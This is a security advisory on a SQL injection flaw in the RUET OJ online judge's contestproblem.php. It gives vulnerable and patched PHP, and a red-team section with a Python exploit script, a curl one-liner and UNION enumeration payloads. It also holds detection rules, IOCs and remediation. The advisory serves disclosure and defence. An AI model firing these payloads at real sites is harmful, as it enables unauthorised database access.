CVE-2025-12328

Executive Summary

CVE-2025-12328 is a critical SQL injection vulnerability discovered in the shawon100 RUET OJ (Online Judge) platform, specifically in the /contestproblem.php file. The vulnerability allows an unauthenticated remote attacker to manipulate the Name parameter, leading to arbitrary SQL query execution against the backend database. This can result in unauthorized data access, modification, or deletion. The exploit is publicly available, and the vendor has not responded to disclosure attempts. The product operates on a rolling release model, making version tracking impossible. The CVSS score of 6.3 (Medium) reflects the ease of exploitation and potential for data compromise.

Supply Chain & Package Security

This is a custom PHP web application, not a package from NPM, PyPI, Go, or Ruby. The risk lies in the direct deployment of the vulnerable codebase. Organizations using this software must treat it as a high-risk component due to the lack of vendor support and public exploit availability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the public exploit and unpatched status elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the contestproblem.php script. The Name parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by submitting a crafted Name value via HTTP GET or POST request.

Vulnerable Code Snippet (Conceptual):

$name = $_GET['Name'];
$query = "SELECT * FROM problems WHERE name = '$name'";
$result = mysqli_query($conn, $query);

The lack of input validation allows an attacker to break out of the string context and execute arbitrary SQL. For example, submitting ' OR '1'='1 would return all records.

Vulnerable vs. Patched Code

Vulnerable Code:

$name = $_GET['Name'];
$query = "SELECT * FROM problems WHERE name = '$name'";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

$name = $_GET['Name'];
$stmt = $conn->prepare("SELECT * FROM problems WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of RUET OJ (commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 or earlier).
• Python 3 and requests library.

Exploit Script (Python):

import requests

target = "http://target.com/contestproblem.php"
payload = "' OR '1'='1' -- -"
params = {"Name": payload}

response = requests.get(target, params=params)
if "error" not in response.text.lower():
    print("SQL injection successful!")
    print(response.text)
else:
    print("Exploit failed.")

Manual Exploit (cURL):

curl "http://target.com/contestproblem.php?Name=' OR '1'='1' -- -"

Lab Setup:

1. Deploy a Docker container with the vulnerable commit.
2. Use Burp Suite or similar to intercept and modify the Name parameter.
3. Test with ' UNION SELECT 1,2,3,4,5 -- - to enumerate columns.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual Name parameter values containing SQL keywords (OR, AND, UNION, --, #).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot:

• Create a fake endpoint mimicking contestproblem.php to capture attacker payloads.

Log Analysis (Apache):

grep -E "Name=.*('|--|#|OR|AND)" /var/log/apache2/access.log

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /contestproblem.php with Name parameter containing SQL metacharacters.
  • Outbound database connections from the web server to unexpected IPs.
• File:
  • Modified or new files in the web root (e.g., webshells).
• Database:
  • Unauthorized queries in MySQL logs (e.g., SELECT * FROM users).
• Logs:
  • Web server logs showing Name=' OR '1'='1 or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_12328_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-12328"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12328"
    strings:
        $sqli1 = /Name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /Name=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt on RUET OJ contestproblem.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the Name parameter in contestproblem.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "Name='"
            - "Name=%27"
            - "Name=1'"
            - "Name=' OR"
            - "Name=' AND"
            - "Name=' UNION"
            - "Name='--"
            - "Name='#"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12328 SQL Injection Attempt"; flow:to_server,established; content:"/contestproblem.php"; http_uri; content:"Name="; http_uri; pcre:"/Name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet if possible.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Audit all database queries in the application for similar vulnerabilities.

Long-Term Fix:

• Replace all dynamic SQL queries with prepared statements or parameterized queries.
• Implement input validation and output encoding.
• Contact the vendor (shawon100) for an official fix or consider forking the project.

Compensating Controls:

• Use a database user with minimal privileges (e.g., read-only for public queries).
• Enable detailed logging and monitoring for SQL injection attempts.
• Deploy a reverse proxy with security modules (e.g., ModSecurity).

Valters IT
Securing Digital Frontiers